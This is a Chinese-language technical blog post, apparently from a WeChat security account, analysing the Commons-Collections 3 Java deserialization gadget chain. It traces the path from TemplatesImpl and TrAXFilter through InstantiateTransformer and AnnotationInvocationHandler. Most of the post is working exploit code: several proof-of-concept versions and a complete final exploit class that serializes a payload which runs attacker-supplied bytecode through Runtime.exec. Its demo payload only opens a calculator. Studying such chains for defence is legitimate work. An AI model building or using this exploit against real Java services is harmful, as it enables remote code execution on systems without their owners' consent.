类加载
把.java文件编译为.class文件,把字节码中的二进制数据读入到内存中,将其放在运行时数据区的方法区内,然后在堆区创建一个java.lang.Class对象,用来封装类在方法区内的数据结构。类的加载的最终产品是位于堆区中的Class对象,Class对象封装了类在方法区内的数据结构,并且向Java程序员提供了访问方法区内的数据结构的接口。
加载class的方式
1.从本地系统中直接加载
2.通过网络下载.class文件
3.从zip,jar等归档文件中加载.class文件
4.从专有数据库中提取.class文件
5.将Java源文件动态编译为.class文件(动态代理生成的及jsp转换为servlet)
类加载过程
类的加载的方式
由关键字new创建一个类的实例
通过Class.forName()方法动态加载
通过ClassLoader.loadClass()方法动态加载
CC3 是通过动态类加载的方式执行代码,执行的过程,初始化代码。
寻找入口点
在ClassLoader().loadClass();
loadClass 会调defineClass
类加载的过程即是ClassLoader() loadClass() defineClass() 执行代码,需要寻找一个初始化的点,这里从defineClass寻找 public的可重写的方法
TemplatesImpl类
这个类 在上篇Fastjson不出网利用总结有提到,本篇会大致分析下在cc中的利用方法
在TemplatesImpl发现了这个defineClass类,没有修饰符,默认在本包中调用,接着寻找
在getTransletInstance发现了defineTransletClasses,并进行了初始化 newInstance()
这里的还是使用private进行修饰,接着找public
最终在这里找到公有方法,这条链的流程大致如下
newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance()
攻击调用
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
首先利用这个类,需要一些参数,点击newTransformer,486行有三个参数,参数默认为null,不写也可以执行
接着跟进getTransletInstance方法,判断name参数,为null就返回,这个参数需要写进去,判断class参数为null,则调用defineTransletClasses函数,上面分析了流程,所以这里的class参数不写,就可以进行调用defineTransletClasses
在接着跟进defineTransletClasses
bytecodes需要赋值,否则爆出异常
401行的方法里_tfactory需要调用一个get方法,查看变量,在readObject是一个new函数。
在414行 会调用defineClass,方法中有个_bytecodes,查看变量是一个二维数组,前面的class是一个一维数组,在最早的defineClass方法中需要传递一个字节数组,在目前的流程就分析完成,接下来写代码进行测试
编写poc
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
// name参数
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
// bytecodes参数
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 两个数组 从文件读字节码
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// _tfactory
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
shell.java
import java.io.IOException;
public class shell {
static {
try {
Runtime.getRuntime().exec("open -a calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}
运行报错,打断点调试
找到问题点了,当前位置已经加载shell类,然后判断这个shell类的父类要等于这个常量,跟进常量,是一个抽象类
修改shell类,继承AbstractTranslet,并重写两个方法
再次执行
使用cc1的前半部分利用链
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
// name参数
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
// bytecodes参数
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 两个数组 从文件读字节码
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// _tfactory
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(1);
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
// name参数
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
// bytecodes参数
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 两个数组 从文件读字节码
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// _tfactory
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
// chainedTransformer.transform(1);
//遍历map
HashMap<Object,Object> hashedMap = new HashMap();
hashedMap.put("value","aaa");
Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);
// 反射引用AnnotationInvocationHandler
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, map);
//序列化
//serializable(o);
unserializable("ser.bin");
InstantiateTransformer类
ysoserial中使用了InstantiateTransformer进行调用,跟进这个构造方法,需要传递两个参数,数组和对象
再跟进newTransformer
发现TrAXFilter构造方法直接传递templates,并直接调用newTransformer
TrAXFilter没有继承反序列化接口,XMLFilterImpl也没有,但是获取class可以进行反序列化
那么最终的利用链如下
前半部分和cc1的一样,只不过是把InvokerTransformer替换为InstantiateTransformer
InstantiateTransformer() -> TrAXFilter() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance()
最终exp
package com.test.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
// name参数
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
// bytecodes参数
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 两个数组 从文件读字节码
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// 创建instantiateTransformer
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// 调用TrAXFilter.class
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),instantiateTransformer
};
// 动态代理
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
//遍历map
HashMap<Object,Object> hashedMap = new HashMap();
hashedMap.put("value","aaa");
Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);
// 反射引用AnnotationInvocationHandler
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, map);
//序列化
// serializable(o);
unserializable("ser.bin");
}
public static void serializable(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserializable(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
原文始发于微信公众号(轩公子谈技术):Commons-collections3 利用链分析笔记